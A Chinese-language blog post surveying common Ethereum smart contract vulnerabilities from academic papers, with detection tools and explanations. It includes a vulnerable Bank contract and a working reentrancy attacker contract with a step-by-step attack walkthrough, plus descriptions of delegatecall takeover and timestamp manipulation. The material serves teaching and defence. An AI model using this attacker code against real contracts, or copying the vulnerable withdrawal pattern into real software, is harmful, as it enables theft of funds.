智能合约的常见漏洞

目录:

参考文献:
[1]: [Principles of Security and Trust'17]A Survey of Attacks on Ethereum Smart Contracts (SoK)
[2]: [CCS'16]Making Smart Contracts Smarter
[3]: [ASE'18]ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection

1. 重入(Reentrancy) [1, 2, 3]

  • 基本概念

    • 智能合约中的 fallback (回退)函数
      一个智能合约中,可以有一个没有函数名,没有参数也没有返回值的函数,也就是 fallback 函数。一个没有定义 fallback 函数的合约,如果接收ether,会触发异常,并返还ether(solidity v0.4.0开始)。所以合约要接收ether,必须实现回退函数。在三种情况下,这个函数会被触发:
      • 如果调用这个合约时,没有匹配上任何一个函数。那么,就会调用默认的 fallback 函数。
      • 当合约收到ether时(没有任何其它数据),这个函数也会被执行。
        注意,执行 fallback 函数会消耗gas。
  • 场景/例子
    例子引自: (https://medium.com/@MyPaoG/explaining-the-dao-exploit-for-beginners-in-solidity-80ee84f0d470)

/* 此合约用于1)记录用户余额,2)可以取款,3)可以存款。有reentrancy漏洞。*/

contract Bank{

/* 地址(唯一)和余额的映射 */
   mapping(address=>uint) userBalances;

/* 返回用户余额 */
   function getUserBalance(address user) constant returns(uint) {
     return userBalances[user];
   }

/* 给指定的用户增加余额 */
   function addToBalance() {
     userBalances[msg.sender] = userBalances[msg.sender] + msg.value;
   }

/* 用户取款(这里假设取余额中全部的钱) */
   function withdrawBalance() {
     uint amountToWithdraw = userBalances[msg.sender];
     /* 把钱转给用户。如果交易失败,则throw。 */
     if (msg.sender.call.value(amountToWithdraw)() == false) {
         throw;
     }
     /* 如果交易成功,把用户的余额设置为0。 */
     userBalances[msg.sender] = 0;
   }
}

/* 这是一个攻击具有reentrancy漏洞的智能合约(Bank)的智能合约(BankAttacker)。在这个例子里,它实现了两次攻击。 */
contract BankAttacker{

   bool is_attack;
   address bankAddress;

/* 输入:1)_bankAddress:要攻击的智能合约(Bank)的地址,2)_is_attack:开启或关闭攻击。*/
   function  BankAttacker(address _bankAddress, bool _is_attack){
       bankAddress=_bankAddress;
       is_attack=_is_attack;
   }

/* 这是一个fallback函数,用于调用withdrawnBalance函数(当开始攻击时,即is_attack为true) 。这个函数会被触发是因为有reentrancy漏洞的智能合约(Bank)中的withdrawBalance函数被执行。为了避免无限递归调用fallbacks,有必要设置有限的次数,例如这里设置2次。因为每次调用是需要gas的,如果gas用完了,攻击就失败了。 */
   function() {
       if(is_attack==true)
       {
           is_attack=false;
           if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) {
               throw;
           }
       }
   }

/* 存款函数。主要功能是给智能合约Bank发送75wei,并且调用addToBalance。 */
   function  deposit(){
        if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()")))
        ==false) {
               throw;
           }
   }

/* 这个函数会触发Bank中的withdrawBalance函数。*/
   function  withdraw(){
		if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) {
               throw;
           }

   }
}

攻击者利用BankAttack(vulnerable contract)与Bank进行交互,主要过程:

  1. 攻击者首先通过调用BankAttack中的 deposit 函数发送75wei到Bank,从而调用Bank中的 addToBalance 函数。
  2. 【第一次取款】攻击者通过调用BankAttack中 withdraw 进行取款(取75wei)。同时,触发了Bank中的 withdrawBalance
  3. Bank中的 withdrawBalance 发送75wei给BankAttack,从而触发了BankAttack的 fallback 函数,最后更新 userBalances 变量。
  4. 【第二次取款】BankAttack的fallback函数再次调用Bank中的 withdrawBalance 函数,相当于再次取款。注意,这个时候,相当于递归调用,因此第一次取款还未结束,因此,Bank中的变量 userBalances 的值还没有更新。所以,调用第二次取款时,Bank误以为BankAttack还存有75wei。因此,成功地再次执行了取款的操作。
    以下是流程图:
    Reentrancy Attack Process
  • 检测方法

    • 工具一: Oyente [2]
      主要思想: 利用条件路径。在每次执行CALL函数之前,先利用符号执行获取整个函数的条件路径。然后检查路径[unclear]
    • 工具二: ContractFuzzer [3]
      主要思想: 如下图所示,创建一个AttackerAgent去与目标contract交互。
      reentrancy-contractfuzzer
  • 修复方法

  • QA

    • 循环调用什么时候停止?
      当1) 执行最终out-of-gas, 2)达到了stack limit, 3)当攻击者所有的ether都被用完了。
    • 停止后整个程序产生了什么影响?
      最终,最后一个调用会失败(不影响区块链状态),因此有且仅有一个异常被抛出。之前的所有调用都被认为是合法的,因此,都成功执行完毕。
  • 其他

    • 相关漏洞:TheDao hack

2. Call to the unknown [1]

  • 基本概念
    每个智能合约的函数通过函数名和参数类型来保证唯一性(Signature)。所以,本来一个合约时想执行某函数,由于代码写错了,没有匹配到其他的函数,所以就默认调用 fallback 函数。

  • 检测方法
    检测参数类型和函数名与调用函数是否一致。

3. Gasless send [1, 3]

  • 基本概念
  1. 发送ether: send() 函数
    当使用send(相当于一个特殊的call())发送以太币到一个合约时,有可能会发生out-of-gas异常。当签名不匹配任何的函数时,将会触发回退函数。由于send()函数指定了一个空函数签名,所以当fallback函数存在时,它总是会调用它。但和一般的函数不同的是,执行send()所消耗的gas默认上线被限定在2,300(如果特别指定上限的话,可以大于2,300)。
  • 场景/例子

    • 例1
      gasless example
      合约C给合约D1和D2发送ether。会有以下三种可能的情况:
      1. n≠0, d=D1。 C发送失败,并抛出out-of-gas异常。因为2,300不足以执行D1的 fallback() 函数,即count++;
      2. n≠0, d=D2。C发送成功。
      3. n=0, d=D1/D2。对于编译器版本<0.4.0,两个都会失败,D1是因为2,300不足以执行 fallback,D2是因为 fallback 为空。对于编译器版本≥0.4.0,D1失败,D2成功,原因同1和2。
        总之,send 成功的两种可能:1)发送ether给一个合约,而这个合约的 fallback 花费小于可花费的gas。2)发送ether给一个用户。
    • 例2:King of the Ether Throne game
      还有一个例子就是叫“King of the Ether Throne”的游戏。这个游戏的玩法大致就是发送ether到一个叫KotET的智能合约中(如下图所示)。想成为king的玩家必须要支付一些ether给当前的king,加上少量的fee给KotET这个智能合约。
      king1
      假设有一个玩家想要成为king,那么他就会想KotET发送一定量(msg.value)的ether。然后就会调用KotETfallback 函数。fallback 函数会首先checkmsg.value是否大于之前的king设定的报价(LINE14)。如果小于,则说明竞价失败,则throw。反之,就会取得王座,成为新的king。
      这个contract看似没问题,实际上会有gasless send bug。当LINE17执行失败的时候(gas不够执行 fallback()),那么王座会被这个contract所持有。
      King2
      那么,现在假设,重写合约(如上图LINE6所示),用call替换send,然后去check它的返回值,如falsethrow。虽然这个版本看似比之前的版本要好,但是,这个合约还是有bug:假设现在有一个叫Mallory的attacker,它的 fallback 函数里面就是一个throw。它发送足够的ether给KotET,然后成为的新的king。这个时候,就再也没有人可以取代它的王位,因为每次给Mallory发送ether的时候,都必须要调用Malloryfallback 函数。因此,KotET的LINE6的条件会一直为true。因此,程序不会再执行下去。
  • 参考

4. Exception disorder/Mishandled Exceptions [1, 2, 3]

  • 基本概念
  1. 智能合约的相互调用(call,delegatecall,callcode)
    在函数调用的过程中, Solidity 中的内置变量 msg 会随着调用的发起而改变,msg 保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。
    三种调用方式的异同点

    • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。
    • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境。
    • callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境。
  2. solidity的异常处理
    三种抛异常的场景:

    • 执行到out-of-gas
    • call 栈溢出
    • 执行到throw语句
      如果在执行被调用的合约时有异常抛出,那么,被调用的合约会终止执行并且revert状态,并返回false。但是,当一个合约以不同的方式调用另外一个合约时,solidity没有一个一致的方法去处理异常。调用的合约可能无法获取被调用的合约中的异常信息。如下图所示,
      ExceptionDisorder
    • 情况一:Bob直接调用Aliceping
      ==>throws an exception==>执行结束==>transaction revert。所以,Bobx还是为0。
    • 情况二:Bob通过call调用Aliceping
      ==>call返回false==>执行继续。所以,Bobx为0。
      更一般的情况,假设有一串函数调用链(如,a()调用b(),b()调用c(),...),直到异常抛出。那么,异常处理如下:
    • 情况一: 所有函数调用都是直接调用,直到程序停止,所有的side effect都revert。所有由最初调用函数的用户提供的的gas都被消耗完。
    • 情况二: 调用链中至少有一个函数调用是通过call来实现的。那么,异常会进行传递(类似于溯源),被调用的合约的side effect都会revert。所有由最初调用函数的用户提供的的gas也都被消耗完。
      可见,处理异常的方式的不一致性会影响到合约的安全性。比如,如果仅仅根据没有异常抛出就认为转账是成功的,这是不安全的。有研究表明,~28%的合约没有去检查call/send调用。

5. Type casts [1]

  • 基本概念
    solidity是强类型语言,所以会有类型检查,如变量赋值时,如把字符串赋值给整型变量。但是,有些情况即使类型不匹配,也不会进行类型检查,因此会导致此bug。

  • 场景/例子
    如下图所示,solidity编译器不会检查以下类型是否匹配:

    1. c是否是一个有效地址;
    2. Alice里是否真的有ping
      typecase-example
      所以,有时候,开发者以为编译器做了类型检查,但其实并没有。所以,在执行时,会出现以下情况:
    3. c不是一个地址,所以直接return。
    4. 正确调用,代码正确执行。
    5. c是一个正确的地址,但是,没有匹配任何Alice中的函数,所以调用alicefallback 函数。
      以上三种情况中任意一种发生,都不会抛出异常。所以,开发者不会察觉。

6. Keeping secrets [1]

  • 基本概念
    许多应用都需要暂时合约的字段保密,即暂时不可见。比如,两个玩家对战,那么,下一步可能需要暂时对对手不可见。但是,尽管solidity可以申明某些变量为private,但是,这并无法保证它是真的不可见的。这个时候,可能就需要一些加密技术去解决这个问题。

7. Ether lost in transfer [1]

  • 基本概念
    给一个地址发送ether,这个地址符合地址规范,但是是一个完全独立的空地址。所以,会导致ether丢失。

8. Unpredictable state [1, 2]

  • 定义
    在[2]中,它也被称作"Transaction-Ordering Dependence(TOD)"。一个block包含一个transaction的集合,同属于一个block的transaction的执行顺序是不确定的(只有矿工可以确定)。因此,也就导致了block的状态是不确定的。假设block处于状态\(σ\),其中包含了两个transaction \(T_1\)\(T_2\)\(T_1\)\(T_2\)又同时调用了同一个合约。那么,在这个时候,用户是无法知道这个合约的状态的,因为这取决于\(T_1\)\(T_2\)的实际执行顺序。

  • 场景
    unpredictable-state-example

    • 场景一: Benign Scenario
      假设\(T_o\)\(T_u\)差不多时间发送信息到Puzzle。其中,\(T_o\)是来自合约的所有者,他想更新提出方案的奖励值。\(T_o\)是来自提出解决方案的用户,他想通过方案得到奖励。那么,在这个时候,\(T_o\)\(T_u\)的执行顺序会影响到提出方案的用户最终能获得多少奖励。
    • 场景二: Malicious Scenario
      注意,从\(T_u\)被广播到\(T_u\)被记录在block之间,有12s的时间间隔。也就是说,Puzzle合约的所有者可以一直保持监听网络,看是否有人提到解决方案到Puzzle。一旦有,他就发送一个transaction去更新奖励(比如设为一个很小的数)。在这种情况下,合约的所有者就很有可能(注意,并非一定)通过很小的花费就得到了解决方案。

9. Generating randomness [1]

  • 基本概念
    有的开发者可能会利用下一个block的hash值或时间戳作为生成随机数的种子,但是在就像下面10. Timestasmp dependency中提到的,timestamp在一定程度上是可以"受控"于矿工。所以,这会导致这个bug。

10. Timestasmp dependency [1, 2, 3]

  • 基本概念
    很多合约的执行逻辑是和当前block的时间戳有关的。而一个block的时间戳是由矿工(挖矿时的系统)决定的,并且允许有。但是,这里时间可以允许有900秒的偏移(The miner could cheat in the timestamp by a tolerance of 900 seconds

  • 场景/例子
    timestamp-example
    第五行到第七行依赖于当前block的时间戳。因此,矿工可以事先计算出对自己有利的时间戳,并且在挖矿时将时间设置成对自己有利的时间。

  • 检测方法

    • 工具一: Oyente [2]
      获取执行路径,判断路径中是否依赖时间戳。
    • 工具二: ContractFuzzer [3]
      是否同时满足两个条件: 1)依赖于时间戳,2)是否有转账。

11. Dangerous `DelegateCall` [3]

  • 基本概念
    Exception disorder中提到了3种智能合约相互调用的方法。
    QA

  • 场景/例子
    delegate-example
    Wallet合约中,LINE6调用delegatecall并且传参msg.data。这使得attacker可以调用walletLibrary中的任意一个public function。因此,attacker可以调用LINE10的initWallet,以此成为Wallet这个合约的拥有者。然后他就可以从wallet发送ether到他自己的地址。

  • 参考

12. Freezing ether [3]

  • 基本概念
    有些合约用于接受ether,并转账给其他地址。但是,这些合约本身并没有自己实现一个转账函数,而是通过delegatecall去调用一些其他合约中的转账函数去实现转账的功能。万一这些提供转账功能的合约执行suicideself-destruct操作的话,那么,通过delegatecall调用转账功能的合约就有可能发生ether被冻结的情况。

  • 检测方法

    • 工具一: ContractFuzzer [3]
      如果balance大于0且没有转账功能。
posted @ 2018-09-25 23:35  max_xbw  阅读(6858)  评论(0编辑  收藏  举报